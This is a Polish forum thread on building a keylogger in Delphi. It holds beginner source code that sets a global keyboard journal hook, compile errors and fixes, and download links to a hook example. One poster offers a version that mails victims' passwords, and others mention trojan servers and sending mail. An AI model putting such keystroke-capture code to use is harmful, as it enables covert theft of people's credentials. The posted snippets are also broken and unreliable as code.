Keylogger w DELPHI - krok po kroku

[Kropa92]

A jak zrobic, aby zapisywał małe litery

?

 

[damiano1212]

Witam czy ktoś może pomóc
Nie wiem co robić

Mój KOD:

<div class='codetop'>CODE</div><div class='codemain' style='height:200px;white-spacere;overflow:auto'>unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs;

type
TForm1 = class(TForm)
procedure FormDestroy(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
Var

Hook : Integer;

MessageBuffer :TEventMsg;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormDestroy(Sender: TObject);
function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
begin
case Code of
HC_ACTION: begin
MessageBuffer:=PEventMsg(lParam)^;
if MessageBuffer.message = wm_KeyDown then
begin

Form1.Memo1.Text:=Opcje.Memo1.Text+chr(MessageBuffer.paraml);
Result:=0;
end;
end;
else
begin
Result := CallNextHookEx(Hook, Code, wParam, lParam);
end;
end;
end;

begin
UnHookWindowsHookEx(Hook);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Hook:=SetWindowsHookEx(wh_journalrecord,play,HInstance,0);
end;

end.</div>


POLE CZERWONE TO BŁĘDY

 

[haker96]

ja moge tylko podaj mi e maila wysle ci go wylaczonego na poczte i tam ustawiasz go ze moze wysylać ci hasla na e mail lub gg xD

 

[djmentos]

Kolega z problemem:
Nic nie można zobić. To błąd "śmiertelny", który uśmięrca wirusy.

To się zdarza

Pozostaje napisać nowy

 

[malwarecoder]

Źródło prostego programu do zapisywania wciskanych klawiszy w delphi.
Zakłada globalnego hooka na klawiaturę.
Logi są w html, czytelne i "pokolorowane".
Zapisuje nazwe okna w którym wpisywano dany tekst.

Screen:

Link:
http://securityforum.unl.pl/delphi_keyboard_hook_example.zip
lub gdyby tamten nie działał to:
http://rapidshare.com/files/240870334/delp...xample.zip.html
no i jeszcze jeden link, gdyby tamte juz nie dzialaly:
http://www.speedyshare.com/198879991.html

To nie jest kompletny keylogger tylko przykład do nauki, zatem nie ma funkcji ukrywania, ani wysyłania nigdzie logów.

 

[Legalnl]

@HakerPL nie wiem czy mam racje ale jezeli wywala Ci błąd w sekcji VAR, to mi się wydaje - a wrecz jestem na 99% pewny ze w PRIVATE nie mozna deklarować zmiennych. powinieneś je dać tam gdzie nalezy czyli pod Form1: TForm1; albo gdzies w programie, kod powinien wyglądać wtedy przykładowo tak: (kawalek)

type
  TForm1 = class(TForm)
    procedure FormDestroy(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
 
  public

  end;

var
  Form1: TForm1; // tutaj sobie wrzuc deklaracje
  Hook : Integer;
  MessageBuffer :TEventMsg;

implementation

{$R *.dfm}

procedure TForm1.FormDestroy(Sender: TObject);
//i tam dalej

 

[bziomek]

<div class='quotetop'>CYTAT(malwarecoder @ 4.06.2009, 22:51) <{POST_SNAPBACK}></div>

Źródło prostego programu do zapisywania wciskanych klawiszy w delphi.
Zakłada globalnego hooka na klawiaturę.
Logi są w html, czytelne i "pokolorowane".
Zapisuje nazwe okna w którym wpisywano dany tekst.

Screen:

Link:
http://securityforum.unl.pl/delphi_keyboard_hook_example.zip
lub gdyby tamten nie działał to:
http://rapidshare.com/files/240870334/delp...xample.zip.html
no i jeszcze jeden link, gdyby tamte juz nie dzialaly:
http://www.speedyshare.com/198879991.html

To nie jest kompletny keylogger tylko przykład do nauki, zatem nie ma funkcji ukrywania, ani wysyłania nigdzie logów.[/b]

...

 

[Mo4x]

Heh, to moje źródło z dawnego forum webhat.pl, kiedyś je tam umieściłem, tylko zmienione kolorowanie logów i wygląd okienka, ale spoko, źródło umieściłem, żeby ludzie z niego korzystali, ale Ty malwarecoder jak już kopiowałeś to mogłeś przynajmniej ten tytuł z paska usunąć :]

 

[Sieko11]

<div align='center'>Witam.
Mimo wszystko mam Problem.
<div class='codetop'>CODE</div><div class='codemain' style='height:200px;white-spacere;overflow:auto'>unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
procedure FormDestroy(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
Hook : Integer;

MessageBuffer :TEventMsg;


implementation

{$R *.dfm}

procedure TForm1.FormDestroy(Sender: TObject);
begin
UnHookWindowsHookEx(Hook); // wprowadzamy
end;

function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
begin
case Code of
HC_ACTION: begin
MessageBuffer:=PEventMsg(lParam)^;
if MessageBuffer.message = wm_KeyDown then
begin

Form1.Memo1.Text:=Form1.Memo1.Text+chr(MessageBuffer.paraml);
Result:=0;
end;
end;
else
begin
Result := CallNextHookEx(Hook, Code, wParam, lParam);
end;
end;
end;


procedure TForm1.FormCreate(Sender: TObject);
begin

Hook:=SetWindowsHookEx(wh_journalrecord,play,HInstance,0);
end;

end.</div>


A wyświetla mi:
<div class='codetop'>CODE</div><div class='codemain' style='height:200px;white-spacere;overflow:auto'>Form1.Memo1.Text:=Form1.Memo1.Text+chr(MessageBuffer.paraml);</div>


Nie wiem co robię źle, ale ku dołu okna "Unit1.pas" wyświetlają mi się błędy :

<div class='codetop'>CODE</div><div class='codemain' style='height:200px;white-spacere;overflow:auto'>[Error] Unit1.pas(43): Undeclared identifier: 'Memo1',
[Error] Unit1.pas(43): Missing operator or semicolon,
[Error] Unit1.pas(43): Incompatible types,
[Fatal Error] Project1.dpr(5): Could not compile used unit 'Unit1.pas'.
</div>

Z góry dziękuje za pomoc.
Pozdrawiam Lamer
xD </div>

 

[thc_flow]

Wiesz, nauczył byś się najpierw co to Delphi, trochę o Object Pascalu, a dopiero po tym zabrał za choćby copypastowanie czyjegoś kodu.

 

[Damn3d]

To Delphi już sie nudne robi. Nie potraficie się zabrać za nic innego ? ;o

Dobrze jest wstawić komponent idAntiFreeze aby program nie zatrzymywał się w momencie wysyłania poczty[/b]

ROTFL. Nie ma jeszcze w Delphi TKeyLogger?

 

[kanar123]

Wiesz jak nie masz pojęcia o tym co mówisz to się nie wypowiadaj...
Jest komponent Keyspy i różnego rodzaju hooki... ale już tyle razy było to skanowane i trafiało do archiwum że nie ma sensu już tego używać... heh
Sam jesteś nudny... Masz coś do Delphi ? XD

 

[Mo4x]

Troche ma racji. Ostatnio nic innowacyjnego się nie pojawia. Większość rzeczy bazowana na gotowcach lub jakiś tutorialach.

 

[djmentos]

I bardzo dobrze. Mniej syfu po sieci krąży. A wiecie czemu tak jest? Bo komponenty od GG zaczęły szwankować i od razu mniej wszystkiego. Ciekawe zjawisto, nie?

 

[widmo17]

Ciekawe zjawisto, nie?[/b]

To tylko dziwny zbieg okoliczności, wszystkiemu winny jest efekt cieplarniany i migracje pingwinów na antarktydzie xD

 

[djmentos]

A ja myślałem że nadmierne promieniowanie kart kredytowych

 

[Damn3d]

Wiesz jak nie masz pojęcia o tym co mówisz to się nie wypowiadaj...[/b]

Fakt, jakoś mnie nie bawi rzucanie komponentów na formę (;

Jest komponent Keyspy i różnego rodzaju hooki... ale już tyle razy było to skanowane i trafiało do archiwum że nie ma sensu już tego używać... heh[/b]

Fajnie.

Sam jesteś nudny... Masz coś do Delphi ? XD tongue.gif[/b]

Taa. Delphi przypomina klocki LEGO, nie musisz nic potrafić, aby coś zbudować (Tyle, że wątpliwej jakości).
Większość osób "programujących" (bo tak mądrze w brzmi) nic nie potrafią zrobić bez tych śmiesznych komponentów i nawet nie wiedzą jak one działają.
(idAntiFreeze jest tego świetnym przykładem).

Przy okazji, sprawdź znaczenie słowa "ironia". (Komponentem TWikipedia np. ;P).

 

[I3L4D3]

Nie wiem co wy bezmuzgi macie do Delphi...

Delphi to dobre środowisko... Umiejętny programista potrafi wyczyniać cuda z takim środowiskiem...

W C++ składnia jest mało czytelna... W związku z czym większość programistów gubi się w tym co napisała... Albo też napisanie programu zajmuje o wiele więcej czasu niż w Delphi...

BC++ (bo taki skrót ma Borland C++ Buildier) - też ma obsługę "klocków"... I działa bardzo dobrze...

Od tych "klocków" byście mogli się w końcu odp*****lić...
Delphi jest bardziej opłacalne... Szybko idzie na tym zarobić...
Delphi można "nauczyć" się w przeciągu roku... I pisać nawet gry, a co do C++ to nie jestem pewnien...

Naukę zaczołem 4 lata temu (w 1 kl gim)... Przez ten cały czas próbowałem niejednokrotnie oswoić się z C++... Nawet zaczynałem od C++... Ale nic. To jest język dla ludzi chaotycznych... Rok później zaczołem z Delphi, sporo umiem... I od zaj***nia już na tym zarobiłem... C++ próbuję dalej przyswoić sobie... Każda kolejna próba jest męczarnią... A programuję z pasją...

Ale dalsze rozprawki na ten temat - snujcie sobie sami...

Pozdrawiam. I mam nadzieje ze pare ludzi mniej przestanie tak uporczywie szukać "haków" na Delphi...

 

[Dark Smark]

@I3L4D3

No widzisz a w czym pisałeś swoje aplikacje w C++? Jak w Devie to ściągnij Turbo Pascala i pokaż te swoje możliwości języka, Dev o ile wiem nie jest obecnie wspierany.
Widziałeś na oczy środowisko Visual Studio albo Builder C++?
Według mnie C++ jest bardzo czytelne, trzeba tylko mieć jakiś filar by rozumieć kod. Niestety program się za nas nie napisze na co liczy większość.
Z CPP łatwiej uderzać do większości języków i jest bardziej przenośne. Wiem że są takie projekty jak Lazarus czy nie wspierany Kylix ale to nie to samo.

 

[Mo4x]

<div class='quotetop'>CYTAT(I3L4D3 @ 9.07.2009, 1:26) <{POST_SNAPBACK}></div>

wy bezmuzgi[/b]

my bezmózgi

<div class='quotetop'>CYTAT(I3L4D3 @ 9.07.2009, 1:26) <{POST_SNAPBACK}></div>

Umiejętny programista potrafi wyczyniać cuda z takim środowiskiem...[/b]

Ciekawe co takiego nadzywczajnego można tam wyczyniać. Nadzwyczajne rzeczy to można wyczyniać, ale w Asm

Najpierw mówisz, że C++ jest nieczytelne i chaotyczne, a potem piszesz, że Borland C++ Builder jest bardzo dobry. To nie wiem czy Ty lubisz Delphi (Object Pascal) jako jezyk programowania czy lubisz za to, że możesz sobie tam ukladać programy z klockow. I czego Cię nauczyło to Delphi? Układać komponenty?

Rozumiem, wizualny edytor, bardzo ułatwia i przyśpiesza tworzenie programów, ale nie można przesadzać z używaniem tego. Pierwsza rzecz, że Delphi mało się nadaje do tworzenia malware. Druga rzecz to porażką jest jak niektórzy piszą serwer trojana z formularzem (który potem ukrywają, lol) i komponentami.